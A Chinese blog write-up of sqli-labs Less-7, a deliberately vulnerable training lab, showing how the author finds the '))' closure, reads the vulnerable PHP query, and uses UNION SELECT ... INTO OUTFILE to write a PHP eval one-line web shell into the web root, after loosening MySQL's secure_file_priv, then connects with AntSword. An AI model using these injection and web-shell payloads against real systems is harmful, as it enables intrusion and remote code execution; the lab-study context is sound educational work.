第七关-Less-7:

GET - Dump into outfile - String (导出文件GET字符型注入)

我们还是一样的来判断注入点:

我们输入?id=1 来查看一下:

这么我们发现回显的页面没有任何有用的信息

我们再试一下下面这结果payload:

?id=1'
?id=1"
?id=1')
?id=1'))
?id=1")
?id=1"))

经过多次尝试,我们发现了它的闭合语句

?id=1'))

这里我们就可以用布尔盲注,和时间盲注来进行注入

但是这里用不了报错注入,因为这里没有报错信息

我们分析到这里就可以知道他的注入点和可以用什么方法来进行注入,我们再查看一下它的关键源码:

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";   //发现确实是单引号的双括号闭合
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';  //注入成功输入语句
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';   //固定的报错信息
	//print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

所以这里我们可以用第五关的布尔型盲注和时间盲注,要注意的是将闭合语句换成单引号双括号

这里根据提示,我们可以使用outfile来进行文件读取注入:

我们先判断它是否具有读写权限

and (select count(*) from mysql.user)>0 ##如果结果返回正常,说明具有读写权限
and (select count(*) from mysql.user)>0 ##返回错误,应该是管理员给数据库账户降权了

这里回显正常,说明具有读写权限

所以我们这里使用into outfile函数,写文件,用法:select 'mysql is very good' into outfile 'text1.txt';或者是select 'mysql is very good' into outfile "写要保存的路径用\\"

这里我们使用联合查询 union select,来将我们的一句话木马写入

?id=1')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\m.php" --+

然后我们来访问我们写入的m.php

http://127.0.0.1/sqli-labs-master/Less-7/m.php

发现错误,说明我们的一句话木马并没有写进去

最后我们发现这里存在一个phpstudy文件读写的问题

我们来到这个路径下面用cmd进去

D:\phpstudy_pro\Extensions\MySQL5.7.26\bin

然后输入mysql -u root -p,进入到mysql的命令行里面

然后使用show variables like '%secure%';在命令行中查看secure-file-priy当前的值

这里我们就要再拓展一下secure_file_priv参数:

这个参数用来限制数据导入和导出操作的效果,例如执行load data、select … into outfile语句和load_file()函数。这些操作需要用户具有FILE权限

当secure_file_priv为NULL,表示对MySQL限制进行导入与导出

当secure_file_priv的值为/tmp/ ,表示限制MySQL的导入与导出只能发生在/tmp/目录下

当secure_file_priv没有指定具体值时,则不对导入与导出进行任何限制

我们看到secure_file_priv对应的是NULL,所以限制了Mysql的导入和导出,所以我们就需要打开phpstudy\MySQL\my.ini文件,在其中加上一句:secure_file_priv= (这样加上去后安全性就降低了)

最后保存,然后重启一下数据库

就变成没有具体值,就可以进行导入和导出

我们写入我们的一句话木马:

?id=1')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\m.php" --+

我们来文件路径下面查看一下我们是否写入了我们的一句话木马:

这里我们看到已经写入了,然后我们来访问一下我们的m.php文件

因为一句话木马是php写的,所以这里不显示

最后我们用中国蚁剑来连一下:

连接成功

成功进入后台

posted @   张伟文  阅读(95)  评论(3编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示